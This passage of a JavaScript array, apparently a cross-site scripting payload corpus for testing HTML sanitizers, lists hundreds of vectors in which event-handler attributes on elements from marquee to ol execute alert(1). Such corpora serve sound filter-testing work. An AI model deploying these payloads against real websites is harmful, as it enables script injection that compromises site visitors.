  String.raw`<marquee onmouseover="alert(1)">test</marquee>`,
  String.raw`<marquee onmouseup="alert(1)">test</marquee>`,
  String.raw`<marquee onpaste="alert(1)" contenteditable>test</marquee>`,
  String.raw`<marquee onstart=alert(1)>XSS</marquee>`,
  String.raw`<marquee width=1 loop=1 onbounce=alert(1)>XSS</marquee>`,
  String.raw`<marquee width=1 loop=1 onfinish=alert(1)>XSS</marquee>`,
  String.raw`<menu draggable="true" ondrag="alert(1)">test</menu>`,
  String.raw`<menu draggable="true" ondragend="alert(1)">test</menu>`,
  String.raw`<menu draggable="true" ondragenter="alert(1)">test</menu>`,
  String.raw`<menu draggable="true" ondragleave="alert(1)">test</menu>`,
  String.raw`<menu draggable="true" ondragstart="alert(1)">test</menu>`,
  String.raw`<menu id=x tabindex=1 onactivate=alert(1)></menu>`,
  String.raw`<menu id=x tabindex=1 onbeforeactivate=alert(1)></menu>`,
  String.raw`<menu id=x tabindex=1 onbeforedeactivate=alert(1)></menu><input autofocus>`,
  String.raw`<menu id=x tabindex=1 ondeactivate=alert(1)></menu><input id=y autofocus>`,
  String.raw`<menu id=x tabindex=1 onfocus=alert(1)></menu>`,
  String.raw`<menu id=x tabindex=1 onfocusin=alert(1)></menu>`,
  String.raw`<menu onbeforecopy="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu onbeforecut="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu onbeforepaste="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu onblur=alert(1) tabindex=1 id=x></menu><input autofocus>`,
  String.raw`<menu onclick="alert(1)">test</menu>`,
  String.raw`<menu oncontextmenu="alert(1)">test</menu>`,
  String.raw`<menu oncopy="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu oncut="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu ondblclick="alert(1)">test</menu>`,
  String.raw`<menu onfocusout=alert(1) tabindex=1 id=x></menu><input autofocus>`,
  String.raw`<menu onkeydown="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu onkeypress="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu onkeyup="alert(1)" contenteditable>test</menu>`,
  String.raw`<menu onmousedown="alert(1)">test</menu>`,
  String.raw`<menu onmouseenter="alert(1)">test</menu>`,
  String.raw`<menu onmouseleave="alert(1)">test</menu>`,
  String.raw`<menu onmousemove="alert(1)">test</menu>`,
  String.raw`<menu onmouseout="alert(1)">test</menu>`,
  String.raw`<menu onmouseover="alert(1)">test</menu>`,
  String.raw`<menu onmouseup="alert(1)">test</menu>`,
  String.raw`<menu onpaste="alert(1)" contenteditable>test</menu>`,
  String.raw`<menuitem draggable="true" ondrag="alert(1)">test</menuitem>`,
  String.raw`<menuitem draggable="true" ondragend="alert(1)">test</menuitem>`,
  String.raw`<menuitem draggable="true" ondragenter="alert(1)">test</menuitem>`,
  String.raw`<menuitem draggable="true" ondragleave="alert(1)">test</menuitem>`,
  String.raw`<menuitem draggable="true" ondragstart="alert(1)">test</menuitem>`,
  String.raw`<menuitem id=x tabindex=1 onactivate=alert(1)></menuitem>`,
  String.raw`<menuitem id=x tabindex=1 onbeforeactivate=alert(1)></menuitem>`,
  String.raw`<menuitem id=x tabindex=1 onbeforedeactivate=alert(1)></menuitem><input autofocus>`,
  String.raw`<menuitem id=x tabindex=1 ondeactivate=alert(1)></menuitem><input id=y autofocus>`,
  String.raw`<menuitem id=x tabindex=1 onfocus=alert(1)></menuitem>`,
  String.raw`<menuitem id=x tabindex=1 onfocusin=alert(1)></menuitem>`,
  String.raw`<menuitem onbeforecopy="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem onbeforecut="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem onbeforepaste="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem onblur=alert(1) tabindex=1 id=x></menuitem><input autofocus>`,
  String.raw`<menuitem onclick="alert(1)">test</menuitem>`,
  String.raw`<menuitem oncontextmenu="alert(1)">test</menuitem>`,
  String.raw`<menuitem oncopy="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem oncut="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem ondblclick="alert(1)">test</menuitem>`,
  String.raw`<menuitem onfocusout=alert(1) tabindex=1 id=x></menuitem><input autofocus>`,
  String.raw`<menuitem onkeydown="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem onkeypress="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem onkeyup="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<menuitem onmousedown="alert(1)">test</menuitem>`,
  String.raw`<menuitem onmouseenter="alert(1)">test</menuitem>`,
  String.raw`<menuitem onmouseleave="alert(1)">test</menuitem>`,
  String.raw`<menuitem onmousemove="alert(1)">test</menuitem>`,
  String.raw`<menuitem onmouseout="alert(1)">test</menuitem>`,
  String.raw`<menuitem onmouseover="alert(1)">test</menuitem>`,
  String.raw`<menuitem onmouseup="alert(1)">test</menuitem>`,
  String.raw`<menuitem onpaste="alert(1)" contenteditable>test</menuitem>`,
  String.raw`<meta draggable="true" ondrag="alert(1)">test</meta>`,
  String.raw`<meta draggable="true" ondragend="alert(1)">test</meta>`,
  String.raw`<meta draggable="true" ondragenter="alert(1)">test</meta>`,
  String.raw`<meta draggable="true" ondragleave="alert(1)">test</meta>`,
  String.raw`<meta draggable="true" ondragstart="alert(1)">test</meta>`,
  String.raw`<meta id=x tabindex=1 onactivate=alert(1)></meta>`,
  String.raw`<meta id=x tabindex=1 onbeforeactivate=alert(1)></meta>`,
  String.raw`<meta id=x tabindex=1 onbeforedeactivate=alert(1)></meta><input autofocus>`,
  String.raw`<meta id=x tabindex=1 ondeactivate=alert(1)></meta><input id=y autofocus>`,
  String.raw`<meta id=x tabindex=1 onfocus=alert(1)></meta>`,
  String.raw`<meta id=x tabindex=1 onfocusin=alert(1)></meta>`,
  String.raw`<meta onbeforecopy="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta onbeforecut="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta onbeforepaste="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta onblur=alert(1) tabindex=1 id=x></meta><input autofocus>`,
  String.raw`<meta onclick="alert(1)">test</meta>`,
  String.raw`<meta oncontextmenu="alert(1)">test</meta>`,
  String.raw`<meta oncopy="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta oncut="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta ondblclick="alert(1)">test</meta>`,
  String.raw`<meta onfocusout=alert(1) tabindex=1 id=x></meta><input autofocus>`,
  String.raw`<meta onkeydown="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta onkeypress="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta onkeyup="alert(1)" contenteditable>test</meta>`,
  String.raw`<meta onmousedown="alert(1)">test</meta>`,
  String.raw`<meta onmouseenter="alert(1)">test</meta>`,
  String.raw`<meta onmouseleave="alert(1)">test</meta>`,
  String.raw`<meta onmousemove="alert(1)">test</meta>`,
  String.raw`<meta onmouseout="alert(1)">test</meta>`,
  String.raw`<meta onmouseover="alert(1)">test</meta>`,
  String.raw`<meta onmouseup="alert(1)">test</meta>`,
  String.raw`<meta onpaste="alert(1)" contenteditable>test</meta>`,
  String.raw`<meter draggable="true" ondrag="alert(1)">test</meter>`,
  String.raw`<meter draggable="true" ondragend="alert(1)">test</meter>`,
  String.raw`<meter draggable="true" ondragenter="alert(1)">test</meter>`,
  String.raw`<meter draggable="true" ondragleave="alert(1)">test</meter>`,
  String.raw`<meter draggable="true" ondragstart="alert(1)">test</meter>`,
  String.raw`<meter id=x tabindex=1 onactivate=alert(1)></meter>`,
  String.raw`<meter id=x tabindex=1 onbeforeactivate=alert(1)></meter>`,
  String.raw`<meter id=x tabindex=1 onbeforedeactivate=alert(1)></meter><input autofocus>`,
  String.raw`<meter id=x tabindex=1 ondeactivate=alert(1)></meter><input id=y autofocus>`,
  String.raw`<meter id=x tabindex=1 onfocus=alert(1)></meter>`,
  String.raw`<meter id=x tabindex=1 onfocusin=alert(1)></meter>`,
  String.raw`<meter onbeforecopy="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter onbeforecut="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter onbeforepaste="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter onblur=alert(1) tabindex=1 id=x></meter><input autofocus>`,
  String.raw`<meter onclick="alert(1)">test</meter>`,
  String.raw`<meter oncontextmenu="alert(1)">test</meter>`,
  String.raw`<meter oncopy="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter oncut="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter ondblclick="alert(1)">test</meter>`,
  String.raw`<meter onfocusout=alert(1) tabindex=1 id=x></meter><input autofocus>`,
  String.raw`<meter onkeydown="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter onkeypress="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter onkeyup="alert(1)" contenteditable>test</meter>`,
  String.raw`<meter onmousedown="alert(1)">test</meter>`,
  String.raw`<meter onmouseenter="alert(1)">test</meter>`,
  String.raw`<meter onmouseleave="alert(1)">test</meter>`,
  String.raw`<meter onmousemove="alert(1)">test</meter>`,
  String.raw`<meter onmouseout="alert(1)">test</meter>`,
  String.raw`<meter onmouseover="alert(1)">test</meter>`,
  String.raw`<meter onmouseup="alert(1)">test</meter>`,
  String.raw`<meter onpaste="alert(1)" contenteditable>test</meter>`,
  String.raw`<multicol draggable="true" ondrag="alert(1)">test</multicol>`,
  String.raw`<multicol draggable="true" ondragend="alert(1)">test</multicol>`,
  String.raw`<multicol draggable="true" ondragenter="alert(1)">test</multicol>`,
  String.raw`<multicol draggable="true" ondragleave="alert(1)">test</multicol>`,
  String.raw`<multicol draggable="true" ondragstart="alert(1)">test</multicol>`,
  String.raw`<multicol id=x tabindex=1 onactivate=alert(1)></multicol>`,
  String.raw`<multicol id=x tabindex=1 onbeforeactivate=alert(1)></multicol>`,
  String.raw`<multicol id=x tabindex=1 onbeforedeactivate=alert(1)></multicol><input autofocus>`,
  String.raw`<multicol id=x tabindex=1 ondeactivate=alert(1)></multicol><input id=y autofocus>`,
  String.raw`<multicol id=x tabindex=1 onfocus=alert(1)></multicol>`,
  String.raw`<multicol id=x tabindex=1 onfocusin=alert(1)></multicol>`,
  String.raw`<multicol onbeforecopy="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol onbeforecut="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol onbeforepaste="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol onblur=alert(1) tabindex=1 id=x></multicol><input autofocus>`,
  String.raw`<multicol onclick="alert(1)">test</multicol>`,
  String.raw`<multicol oncontextmenu="alert(1)">test</multicol>`,
  String.raw`<multicol oncopy="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol oncut="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol ondblclick="alert(1)">test</multicol>`,
  String.raw`<multicol onfocusout=alert(1) tabindex=1 id=x></multicol><input autofocus>`,
  String.raw`<multicol onkeydown="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol onkeypress="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol onkeyup="alert(1)" contenteditable>test</multicol>`,
  String.raw`<multicol onmousedown="alert(1)">test</multicol>`,
  String.raw`<multicol onmouseenter="alert(1)">test</multicol>`,
  String.raw`<multicol onmouseleave="alert(1)">test</multicol>`,
  String.raw`<multicol onmousemove="alert(1)">test</multicol>`,
  String.raw`<multicol onmouseout="alert(1)">test</multicol>`,
  String.raw`<multicol onmouseover="alert(1)">test</multicol>`,
  String.raw`<multicol onmouseup="alert(1)">test</multicol>`,
  String.raw`<multicol onpaste="alert(1)" contenteditable>test</multicol>`,
  String.raw`<nav draggable="true" ondrag="alert(1)">test</nav>`,
  String.raw`<nav draggable="true" ondragend="alert(1)">test</nav>`,
  String.raw`<nav draggable="true" ondragenter="alert(1)">test</nav>`,
  String.raw`<nav draggable="true" ondragleave="alert(1)">test</nav>`,
  String.raw`<nav draggable="true" ondragstart="alert(1)">test</nav>`,
  String.raw`<nav id=x tabindex=1 onactivate=alert(1)></nav>`,
  String.raw`<nav id=x tabindex=1 onbeforeactivate=alert(1)></nav>`,
  String.raw`<nav id=x tabindex=1 onbeforedeactivate=alert(1)></nav><input autofocus>`,
  String.raw`<nav id=x tabindex=1 ondeactivate=alert(1)></nav><input id=y autofocus>`,
  String.raw`<nav id=x tabindex=1 onfocus=alert(1)></nav>`,
  String.raw`<nav id=x tabindex=1 onfocusin=alert(1)></nav>`,
  String.raw`<nav onbeforecopy="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav onbeforecut="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav onbeforepaste="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav onblur=alert(1) tabindex=1 id=x></nav><input autofocus>`,
  String.raw`<nav onclick="alert(1)">test</nav>`,
  String.raw`<nav oncontextmenu="alert(1)">test</nav>`,
  String.raw`<nav oncopy="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav oncut="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav ondblclick="alert(1)">test</nav>`,
  String.raw`<nav onfocusout=alert(1) tabindex=1 id=x></nav><input autofocus>`,
  String.raw`<nav onkeydown="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav onkeypress="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav onkeyup="alert(1)" contenteditable>test</nav>`,
  String.raw`<nav onmousedown="alert(1)">test</nav>`,
  String.raw`<nav onmouseenter="alert(1)">test</nav>`,
  String.raw`<nav onmouseleave="alert(1)">test</nav>`,
  String.raw`<nav onmousemove="alert(1)">test</nav>`,
  String.raw`<nav onmouseout="alert(1)">test</nav>`,
  String.raw`<nav onmouseover="alert(1)">test</nav>`,
  String.raw`<nav onmouseup="alert(1)">test</nav>`,
  String.raw`<nav onpaste="alert(1)" contenteditable>test</nav>`,
  String.raw`<nextid draggable="true" ondrag="alert(1)">test</nextid>`,
  String.raw`<nextid draggable="true" ondragend="alert(1)">test</nextid>`,
  String.raw`<nextid draggable="true" ondragenter="alert(1)">test</nextid>`,
  String.raw`<nextid draggable="true" ondragleave="alert(1)">test</nextid>`,
  String.raw`<nextid draggable="true" ondragstart="alert(1)">test</nextid>`,
  String.raw`<nextid id=x tabindex=1 onactivate=alert(1)></nextid>`,
  String.raw`<nextid id=x tabindex=1 onbeforeactivate=alert(1)></nextid>`,
  String.raw`<nextid id=x tabindex=1 onbeforedeactivate=alert(1)></nextid><input autofocus>`,
  String.raw`<nextid id=x tabindex=1 ondeactivate=alert(1)></nextid><input id=y autofocus>`,
  String.raw`<nextid id=x tabindex=1 onfocus=alert(1)></nextid>`,
  String.raw`<nextid id=x tabindex=1 onfocusin=alert(1)></nextid>`,
  String.raw`<nextid onbeforecopy="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid onbeforecut="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid onbeforepaste="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid onblur=alert(1) tabindex=1 id=x></nextid><input autofocus>`,
  String.raw`<nextid onclick="alert(1)">test</nextid>`,
  String.raw`<nextid oncontextmenu="alert(1)">test</nextid>`,
  String.raw`<nextid oncopy="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid oncut="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid ondblclick="alert(1)">test</nextid>`,
  String.raw`<nextid onfocusout=alert(1) tabindex=1 id=x></nextid><input autofocus>`,
  String.raw`<nextid onkeydown="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid onkeypress="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid onkeyup="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nextid onmousedown="alert(1)">test</nextid>`,
  String.raw`<nextid onmouseenter="alert(1)">test</nextid>`,
  String.raw`<nextid onmouseleave="alert(1)">test</nextid>`,
  String.raw`<nextid onmousemove="alert(1)">test</nextid>`,
  String.raw`<nextid onmouseout="alert(1)">test</nextid>`,
  String.raw`<nextid onmouseover="alert(1)">test</nextid>`,
  String.raw`<nextid onmouseup="alert(1)">test</nextid>`,
  String.raw`<nextid onpaste="alert(1)" contenteditable>test</nextid>`,
  String.raw`<nobr draggable="true" ondrag="alert(1)">test</nobr>`,
  String.raw`<nobr draggable="true" ondragend="alert(1)">test</nobr>`,
  String.raw`<nobr draggable="true" ondragenter="alert(1)">test</nobr>`,
  String.raw`<nobr draggable="true" ondragleave="alert(1)">test</nobr>`,
  String.raw`<nobr draggable="true" ondragstart="alert(1)">test</nobr>`,
  String.raw`<nobr id=x tabindex=1 onactivate=alert(1)></nobr>`,
  String.raw`<nobr id=x tabindex=1 onbeforeactivate=alert(1)></nobr>`,
  String.raw`<nobr id=x tabindex=1 onbeforedeactivate=alert(1)></nobr><input autofocus>`,
  String.raw`<nobr id=x tabindex=1 ondeactivate=alert(1)></nobr><input id=y autofocus>`,
  String.raw`<nobr id=x tabindex=1 onfocus=alert(1)></nobr>`,
  String.raw`<nobr id=x tabindex=1 onfocusin=alert(1)></nobr>`,
  String.raw`<nobr onbeforecopy="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr onbeforecut="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr onbeforepaste="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr onblur=alert(1) tabindex=1 id=x></nobr><input autofocus>`,
  String.raw`<nobr onclick="alert(1)">test</nobr>`,
  String.raw`<nobr oncontextmenu="alert(1)">test</nobr>`,
  String.raw`<nobr oncopy="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr oncut="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr ondblclick="alert(1)">test</nobr>`,
  String.raw`<nobr onfocusout=alert(1) tabindex=1 id=x></nobr><input autofocus>`,
  String.raw`<nobr onkeydown="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr onkeypress="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr onkeyup="alert(1)" contenteditable>test</nobr>`,
  String.raw`<nobr onmousedown="alert(1)">test</nobr>`,
  String.raw`<nobr onmouseenter="alert(1)">test</nobr>`,
  String.raw`<nobr onmouseleave="alert(1)">test</nobr>`,
  String.raw`<nobr onmousemove="alert(1)">test</nobr>`,
  String.raw`<nobr onmouseout="alert(1)">test</nobr>`,
  String.raw`<nobr onmouseover="alert(1)">test</nobr>`,
  String.raw`<nobr onmouseup="alert(1)">test</nobr>`,
  String.raw`<nobr onpaste="alert(1)" contenteditable>test</nobr>`,
  String.raw`<noembed draggable="true" ondrag="alert(1)">test</noembed>`,
  String.raw`<noembed draggable="true" ondragend="alert(1)">test</noembed>`,
  String.raw`<noembed draggable="true" ondragenter="alert(1)">test</noembed>`,
  String.raw`<noembed draggable="true" ondragleave="alert(1)">test</noembed>`,
  String.raw`<noembed draggable="true" ondragstart="alert(1)">test</noembed>`,
  String.raw`<noembed id=x tabindex=1 onactivate=alert(1)></noembed>`,
  String.raw`<noembed id=x tabindex=1 onbeforeactivate=alert(1)></noembed>`,
  String.raw`<noembed id=x tabindex=1 onbeforedeactivate=alert(1)></noembed><input autofocus>`,
  String.raw`<noembed id=x tabindex=1 ondeactivate=alert(1)></noembed><input id=y autofocus>`,
  String.raw`<noembed id=x tabindex=1 onfocus=alert(1)></noembed>`,
  String.raw`<noembed id=x tabindex=1 onfocusin=alert(1)></noembed>`,
  String.raw`<noembed onbeforecopy="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed onbeforecut="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed onbeforepaste="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed onblur=alert(1) tabindex=1 id=x></noembed><input autofocus>`,
  String.raw`<noembed onclick="alert(1)">test</noembed>`,
  String.raw`<noembed oncontextmenu="alert(1)">test</noembed>`,
  String.raw`<noembed oncopy="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed oncut="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed ondblclick="alert(1)">test</noembed>`,
  String.raw`<noembed onfocusout=alert(1) tabindex=1 id=x></noembed><input autofocus>`,
  String.raw`<noembed onkeydown="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed onkeypress="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed onkeyup="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noembed onmousedown="alert(1)">test</noembed>`,
  String.raw`<noembed onmouseenter="alert(1)">test</noembed>`,
  String.raw`<noembed onmouseleave="alert(1)">test</noembed>`,
  String.raw`<noembed onmousemove="alert(1)">test</noembed>`,
  String.raw`<noembed onmouseout="alert(1)">test</noembed>`,
  String.raw`<noembed onmouseover="alert(1)">test</noembed>`,
  String.raw`<noembed onmouseup="alert(1)">test</noembed>`,
  String.raw`<noembed onpaste="alert(1)" contenteditable>test</noembed>`,
  String.raw`<noframes draggable="true" ondrag="alert(1)">test</noframes>`,
  String.raw`<noframes draggable="true" ondragend="alert(1)">test</noframes>`,
  String.raw`<noframes draggable="true" ondragenter="alert(1)">test</noframes>`,
  String.raw`<noframes draggable="true" ondragleave="alert(1)">test</noframes>`,
  String.raw`<noframes draggable="true" ondragstart="alert(1)">test</noframes>`,
  String.raw`<noframes id=x tabindex=1 onactivate=alert(1)></noframes>`,
  String.raw`<noframes id=x tabindex=1 onbeforeactivate=alert(1)></noframes>`,
  String.raw`<noframes id=x tabindex=1 onbeforedeactivate=alert(1)></noframes><input autofocus>`,
  String.raw`<noframes id=x tabindex=1 ondeactivate=alert(1)></noframes><input id=y autofocus>`,
  String.raw`<noframes id=x tabindex=1 onfocus=alert(1)></noframes>`,
  String.raw`<noframes id=x tabindex=1 onfocusin=alert(1)></noframes>`,
  String.raw`<noframes onbeforecopy="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes onbeforecut="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes onbeforepaste="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes onblur=alert(1) tabindex=1 id=x></noframes><input autofocus>`,
  String.raw`<noframes onclick="alert(1)">test</noframes>`,
  String.raw`<noframes oncontextmenu="alert(1)">test</noframes>`,
  String.raw`<noframes oncopy="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes oncut="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes ondblclick="alert(1)">test</noframes>`,
  String.raw`<noframes onfocusout=alert(1) tabindex=1 id=x></noframes><input autofocus>`,
  String.raw`<noframes onkeydown="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes onkeypress="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes onkeyup="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noframes onmousedown="alert(1)">test</noframes>`,
  String.raw`<noframes onmouseenter="alert(1)">test</noframes>`,
  String.raw`<noframes onmouseleave="alert(1)">test</noframes>`,
  String.raw`<noframes onmousemove="alert(1)">test</noframes>`,
  String.raw`<noframes onmouseout="alert(1)">test</noframes>`,
  String.raw`<noframes onmouseover="alert(1)">test</noframes>`,
  String.raw`<noframes onmouseup="alert(1)">test</noframes>`,
  String.raw`<noframes onpaste="alert(1)" contenteditable>test</noframes>`,
  String.raw`<noscript draggable="true" ondrag="alert(1)">test</noscript>`,
  String.raw`<noscript draggable="true" ondragend="alert(1)">test</noscript>`,
  String.raw`<noscript draggable="true" ondragenter="alert(1)">test</noscript>`,
  String.raw`<noscript draggable="true" ondragleave="alert(1)">test</noscript>`,
  String.raw`<noscript draggable="true" ondragstart="alert(1)">test</noscript>`,
  String.raw`<noscript id=x tabindex=1 onactivate=alert(1)></noscript>`,
  String.raw`<noscript id=x tabindex=1 onbeforeactivate=alert(1)></noscript>`,
  String.raw`<noscript id=x tabindex=1 onbeforedeactivate=alert(1)></noscript><input autofocus>`,
  String.raw`<noscript id=x tabindex=1 ondeactivate=alert(1)></noscript><input id=y autofocus>`,
  String.raw`<noscript id=x tabindex=1 onfocus=alert(1)></noscript>`,
  String.raw`<noscript id=x tabindex=1 onfocusin=alert(1)></noscript>`,
  String.raw`<noscript onbeforecopy="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript onbeforecut="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript onbeforepaste="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript onblur=alert(1) tabindex=1 id=x></noscript><input autofocus>`,
  String.raw`<noscript onclick="alert(1)">test</noscript>`,
  String.raw`<noscript oncontextmenu="alert(1)">test</noscript>`,
  String.raw`<noscript oncopy="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript oncut="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript ondblclick="alert(1)">test</noscript>`,
  String.raw`<noscript onfocusout=alert(1) tabindex=1 id=x></noscript><input autofocus>`,
  String.raw`<noscript onkeydown="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript onkeypress="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript onkeyup="alert(1)" contenteditable>test</noscript>`,
  String.raw`<noscript onmousedown="alert(1)">test</noscript>`,
  String.raw`<noscript onmouseenter="alert(1)">test</noscript>`,
  String.raw`<noscript onmouseleave="alert(1)">test</noscript>`,
  String.raw`<noscript onmousemove="alert(1)">test</noscript>`,
  String.raw`<noscript onmouseout="alert(1)">test</noscript>`,
  String.raw`<noscript onmouseover="alert(1)">test</noscript>`,
  String.raw`<noscript onmouseup="alert(1)">test</noscript>`,
  String.raw`<noscript onpaste="alert(1)" contenteditable>test</noscript>`,
  String.raw`<object data=/ onload=alert(1)>`,
  String.raw`<object data=/ onreadystatechange=alert(1)>`,
  String.raw`<object draggable="true" ondrag="alert(1)">test</object>`,
  String.raw`<object draggable="true" ondragend="alert(1)">test</object>`,
  String.raw`<object draggable="true" ondragenter="alert(1)">test</object>`,
  String.raw`<object draggable="true" ondragleave="alert(1)">test</object>`,
  String.raw`<object draggable="true" ondragstart="alert(1)">test</object>`,
  String.raw`<object id=x onfocus=alert(1) type=text/html>`,
  String.raw`<object id=x onfocusin=alert(1) type=text/html>`,
  String.raw`<object id=x tabindex=1 onactivate=alert(1)></object>`,
  String.raw`<object id=x tabindex=1 onbeforeactivate=alert(1)></object>`,
  String.raw`<object id=x tabindex=1 onbeforedeactivate=alert(1)></object><input autofocus>`,
  String.raw`<object id=x tabindex=1 ondeactivate=alert(1)></object><input id=y autofocus>`,
  String.raw`<object onbeforecopy="alert(1)" contenteditable>test</object>`,
  String.raw`<object onbeforecut="alert(1)" contenteditable>test</object>`,
  String.raw`<object onbeforepaste="alert(1)" contenteditable>test</object>`,
  String.raw`<object onblur=alert(1) tabindex=1 id=x></object><input autofocus>`,
  String.raw`<object onclick="alert(1)">test</object>`,
  String.raw`<object oncontextmenu="alert(1)">test</object>`,
  String.raw`<object oncopy="alert(1)" contenteditable>test</object>`,
  String.raw`<object oncut="alert(1)" contenteditable>test</object>`,
  String.raw`<object ondblclick="alert(1)">test</object>`,
  String.raw`<object onerror=alert(1) data=1 type=image/gif>`,
  String.raw`<object onfocusout=alert(1) tabindex=1 id=x></object><input autofocus>`,
  String.raw`<object onkeydown="alert(1)" contenteditable>test</object>`,
  String.raw`<object onkeypress="alert(1)" contenteditable>test</object>`,
  String.raw`<object onkeyup="alert(1)" contenteditable>test</object>`,
  String.raw`<object onmousedown="alert(1)">test</object>`,
  String.raw`<object onmouseenter="alert(1)">test</object>`,
  String.raw`<object onmouseleave="alert(1)">test</object>`,
  String.raw`<object onmousemove="alert(1)">test</object>`,
  String.raw`<object onmouseout="alert(1)">test</object>`,
  String.raw`<object onmouseover="alert(1)">test</object>`,
  String.raw`<object onmouseup="alert(1)">test</object>`,
  String.raw`<object onpaste="alert(1)" contenteditable>test</object>`,
  String.raw`<ol draggable="true" ondrag="alert(1)">test</ol>`,
  String.raw`<ol draggable="true" ondragend="alert(1)">test</ol>`,
  String.raw`<ol draggable="true" ondragenter="alert(1)">test</ol>`,
  String.raw`<ol draggable="true" ondragleave="alert(1)">test</ol>`,
  String.raw`<ol draggable="true" ondragstart="alert(1)">test</ol>`,
  String.raw`<ol id=x tabindex=1 onactivate=alert(1)></ol>`,
  String.raw`<ol id=x tabindex=1 onbeforeactivate=alert(1)></ol>`,
  String.raw`<ol id=x tabindex=1 onbeforedeactivate=alert(1)></ol><input autofocus>`,
  String.raw`<ol id=x tabindex=1 ondeactivate=alert(1)></ol><input id=y autofocus>`,
  String.raw`<ol id=x tabindex=1 onfocus=alert(1)></ol>`,
  String.raw`<ol id=x tabindex=1 onfocusin=alert(1)></ol>`,
  String.raw`<ol onbeforecopy="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol onbeforecut="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol onbeforepaste="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol onblur=alert(1) tabindex=1 id=x></ol><input autofocus>`,
  String.raw`<ol onclick="alert(1)">test</ol>`,
  String.raw`<ol oncontextmenu="alert(1)">test</ol>`,
  String.raw`<ol oncopy="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol oncut="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol ondblclick="alert(1)">test</ol>`,
  String.raw`<ol onfocusout=alert(1) tabindex=1 id=x></ol><input autofocus>`,
  String.raw`<ol onkeydown="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol onkeypress="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol onkeyup="alert(1)" contenteditable>test</ol>`,
  String.raw`<ol onmousedown="alert(1)">test</ol>`,
  String.raw`<ol onmouseenter="alert(1)">test</ol>`,
  String.raw`<ol onmouseleave="alert(1)">test</ol>`,
